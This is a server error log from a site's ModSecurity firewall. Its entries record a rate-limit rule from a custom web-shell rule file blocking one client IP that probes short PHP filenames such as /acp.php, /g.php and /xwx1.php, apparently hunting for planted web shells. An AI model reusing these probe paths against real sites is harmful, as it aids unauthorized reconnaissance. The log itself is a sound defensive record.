[Sat Apr 11 21:42:46.347920 2026] [:error] [pid 42221:tid 42286] [client 20.215.64.75:11113] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acp.php"] [unique_id "adpP1k2gt0pb_0-cc6mH7QAAAEg"]
[Sat Apr 11 21:42:46.864271 2026] [:error] [pid 42313:tid 42339] [client 20.215.64.75:10968] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acp.php"] [unique_id "adpP1l2P8TxdbaN018IwuAAAABc"]
[Sat Apr 11 21:42:47.380994 2026] [:error] [pid 42221:tid 42279] [client 20.215.64.75:10884] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acp.php"] [unique_id "adpP102gt0pb_0-cc6mH9QAAAEE"]
[Sat Apr 11 21:42:47.891946 2026] [:error] [pid 42221:tid 42288] [client 20.215.64.75:11094] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acp.php"] [unique_id "adpP102gt0pb_0-cc6mH-QAAAEo"]
[Sat Apr 11 21:42:48.427541 2026] [:error] [pid 42221:tid 42281] [client 20.215.64.75:10862] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "adpP2E2gt0pb_0-cc6mH-wAAAEM"]
[Sat Apr 11 21:42:48.932744 2026] [:error] [pid 42220:tid 42260] [client 20.215.64.75:10851] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "adpP2Ez5c3Cs6a8B5QuEfwAAAMk"]
[Sat Apr 11 21:42:49.441045 2026] [:error] [pid 42313:tid 42327] [client 20.215.64.75:10832] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "adpP2V2P8TxdbaN018IwvQAAAAs"]
[Sat Apr 11 21:42:49.945423 2026] [:error] [pid 42219:tid 42242] [client 20.215.64.75:10933] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "adpP2Q-4IkVbTQx_J-2ByQAAAJM"]
[Sat Apr 11 21:42:50.449658 2026] [:error] [pid 42221:tid 42290] [client 20.215.64.75:10849] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/g.php"] [unique_id "adpP2k2gt0pb_0-cc6mIAgAAAEw"]
[Sat Apr 11 21:42:50.953641 2026] [:error] [pid 42221:tid 42294] [client 20.215.64.75:10919] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/g.php"] [unique_id "adpP2k2gt0pb_0-cc6mIBgAAAFA"]
[Sat Apr 11 21:42:51.462460 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:11007] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/g.php"] [unique_id "adpP202gt0pb_0-cc6mICAAAAFM"]
[Sat Apr 11 21:42:51.969682 2026] [:error] [pid 42221:tid 42282] [client 20.215.64.75:10855] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/g.php"] [unique_id "adpP202gt0pb_0-cc6mICgAAAEQ"]
[Sat Apr 11 21:42:52.474561 2026] [:error] [pid 42313:tid 42332] [client 20.215.64.75:10830] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "adpP3F2P8TxdbaN018IwwgAAABA"]
[Sat Apr 11 21:42:52.978805 2026] [:error] [pid 42313:tid 42325] [client 20.215.64.75:10893] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "adpP3F2P8TxdbaN018IwwwAAAAk"]
[Sat Apr 11 21:42:53.480920 2026] [:error] [pid 42313:tid 42324] [client 20.215.64.75:10825] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "adpP3V2P8TxdbaN018IwxgAAAAg"]
[Sat Apr 11 21:42:53.987151 2026] [:error] [pid 42313:tid 42327] [client 20.215.64.75:10900] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "adpP3V2P8TxdbaN018IwyAAAAAs"]
[Sat Apr 11 21:42:54.494887 2026] [:error] [pid 42313:tid 42338] [client 20.215.64.75:10926] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "adpP3l2P8TxdbaN018IwygAAABY"]
[Sat Apr 11 21:42:54.999393 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:10907] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "adpP3l2P8TxdbaN018IwywAAABI"]
[Sat Apr 11 21:42:55.503998 2026] [:error] [pid 42220:tid 42265] [client 20.215.64.75:10939] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "adpP30z5c3Cs6a8B5QuEhAAAAM4"]
[Sat Apr 11 21:42:56.010183 2026] [:error] [pid 42220:tid 42254] [client 20.215.64.75:10942] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "adpP4Ez5c3Cs6a8B5QuEhgAAAMM"]
[Sat Apr 11 21:42:56.520720 2026] [:error] [pid 42221:tid 42299] [client 20.215.64.75:10887] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ew.php"] [unique_id "adpP4E2gt0pb_0-cc6mIEAAAAFU"]
[Sat Apr 11 21:42:57.021509 2026] [:error] [pid 42313:tid 42330] [client 20.215.64.75:10838] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ew.php"] [unique_id "adpP4V2P8TxdbaN018Iw0QAAAA4"]
[Sat Apr 11 21:42:57.527872 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:10936] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ew.php"] [unique_id "adpP4U2gt0pb_0-cc6mIEwAAAFM"]
[Sat Apr 11 21:42:58.032522 2026] [:error] [pid 42313:tid 42325] [client 20.215.64.75:10833] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ew.php"] [unique_id "adpP4l2P8TxdbaN018Iw0gAAAAk"]
[Sat Apr 11 21:42:58.578961 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:10844] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file21.php"] [unique_id "adpP4l2P8TxdbaN018Iw1QAAAAA"]
[Sat Apr 11 21:42:59.083593 2026] [:error] [pid 42221:tid 42281] [client 20.215.64.75:10937] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file21.php"] [unique_id "adpP402gt0pb_0-cc6mIGAAAAEM"]
[Sat Apr 11 21:42:59.593216 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:10885] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file21.php"] [unique_id "adpP412P8TxdbaN018Iw2gAAABI"]
[Sat Apr 11 21:43:00.100953 2026] [:error] [pid 42313:tid 42323] [client 20.215.64.75:10931] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file21.php"] [unique_id "adpP5F2P8TxdbaN018Iw3QAAAAc"]
[Sat Apr 11 21:43:00.606916 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:10896] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class19.php"] [unique_id "adpP5F2P8TxdbaN018Iw3gAAAAM"]
[Sat Apr 11 21:43:01.111899 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:10768] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class19.php"] [unique_id "adpP5U2gt0pb_0-cc6mIHQAAAFI"]
[Sat Apr 11 21:43:01.620362 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:10850] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class19.php"] [unique_id "adpP5V2P8TxdbaN018Iw4gAAAAA"]
[Sat Apr 11 21:43:02.125877 2026] [:error] [pid 42219:tid 42242] [client 20.215.64.75:10822] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class19.php"] [unique_id "adpP5g-4IkVbTQx_J-2B1AAAAJM"]
[Sat Apr 11 21:43:02.630140 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:10925] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class20.php"] [unique_id "adpP5k2gt0pb_0-cc6mIIwAAAEk"]
[Sat Apr 11 21:43:03.135818 2026] [:error] [pid 42220:tid 42261] [client 20.215.64.75:10876] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class20.php"] [unique_id "adpP50z5c3Cs6a8B5QuEiQAAAMo"]
[Sat Apr 11 21:43:03.645130 2026] [:error] [pid 42219:tid 42243] [client 20.215.64.75:10752] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class20.php"] [unique_id "adpP5w-4IkVbTQx_J-2B2QAAAJQ"]
[Sat Apr 11 21:43:04.149886 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:10866] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class20.php"] [unique_id "adpP6F2P8TxdbaN018Iw5gAAABM"]
[Sat Apr 11 21:43:04.720337 2026] [:error] [pid 42221:tid 42286] [client 20.215.64.75:10943] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "adpP6E2gt0pb_0-cc6mIKQAAAEg"]
[Sat Apr 11 21:43:05.226233 2026] [:error] [pid 42221:tid 42302] [client 20.215.64.75:11046] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "adpP6U2gt0pb_0-cc6mIKwAAAFg"]
[Sat Apr 11 21:43:05.731168 2026] [:error] [pid 42313:tid 42331] [client 20.215.64.75:10890] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "adpP6V2P8TxdbaN018Iw7AAAAA8"]
[Sat Apr 11 21:43:06.236249 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:10941] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "adpP6l2P8TxdbaN018Iw7gAAAAA"]
[Sat Apr 11 21:43:06.741070 2026] [:error] [pid 42221:tid 42293] [client 20.215.64.75:10910] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vee.php"] [unique_id "adpP6k2gt0pb_0-cc6mIMAAAAE8"]
[Sat Apr 11 21:43:07.248292 2026] [:error] [pid 42221:tid 42279] [client 20.215.64.75:11020] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vee.php"] [unique_id "adpP602gt0pb_0-cc6mIMwAAAEE"]
[Sat Apr 11 21:43:07.754151 2026] [:error] [pid 42219:tid 42239] [client 20.215.64.75:10755] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vee.php"] [unique_id "adpP6w-4IkVbTQx_J-2B4gAAAJA"]
[Sat Apr 11 21:43:08.260392 2026] [:error] [pid 42219:tid 42243] [client 20.215.64.75:10928] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vee.php"] [unique_id "adpP7A-4IkVbTQx_J-2B5gAAAJQ"]
[Sat Apr 11 21:43:08.764481 2026] [:error] [pid 42219:tid 42241] [client 20.215.64.75:11062] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cabs.php"] [unique_id "adpP7A-4IkVbTQx_J-2B6QAAAJI"]
[Sat Apr 11 21:43:09.269809 2026] [:error] [pid 42219:tid 42239] [client 20.215.64.75:10831] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cabs.php"] [unique_id "adpP7Q-4IkVbTQx_J-2B7gAAAJA"]
[Sat Apr 11 21:43:09.774481 2026] [:error] [pid 42220:tid 42260] [client 20.215.64.75:10977] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cabs.php"] [unique_id "adpP7Uz5c3Cs6a8B5QuEjQAAAMk"]
[Sat Apr 11 21:43:10.279499 2026] [:error] [pid 42219:tid 42228] [client 20.215.64.75:10905] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cabs.php"] [unique_id "adpP7g-4IkVbTQx_J-2B9AAAAIU"]
[Sat Apr 11 21:43:10.786197 2026] [:error] [pid 42220:tid 42262] [client 20.215.64.75:10859] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adpP7kz5c3Cs6a8B5QuEjgAAAMs"]
[Sat Apr 11 21:43:11.291623 2026] [:error] [pid 42221:tid 42285] [client 20.215.64.75:10870] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adpP702gt0pb_0-cc6mIPwAAAEc"]
[Sat Apr 11 21:43:11.796884 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:10762] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adpP712P8TxdbaN018Iw8QAAABI"]
[Sat Apr 11 21:43:12.307603 2026] [:error] [pid 42220:tid 42254] [client 20.215.64.75:10852] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adpP8Ez5c3Cs6a8B5QuEkgAAAMM"]
[Sat Apr 11 21:43:12.812790 2026] [:error] [pid 42219:tid 42228] [client 20.215.64.75:10816] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x1da.php"] [unique_id "adpP8A-4IkVbTQx_J-2B_AAAAIU"]
[Sat Apr 11 21:43:13.332331 2026] [:error] [pid 42313:tid 42338] [client 20.215.64.75:10856] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x1da.php"] [unique_id "adpP8V2P8TxdbaN018Iw8wAAABY"]
[Sat Apr 11 21:43:13.835601 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:10791] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x1da.php"] [unique_id "adpP8V2P8TxdbaN018Iw9AAAABM"]
[Sat Apr 11 21:43:14.342032 2026] [:error] [pid 42221:tid 42291] [client 20.215.64.75:11211] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x1da.php"] [unique_id "adpP8k2gt0pb_0-cc6mISgAAAE0"]
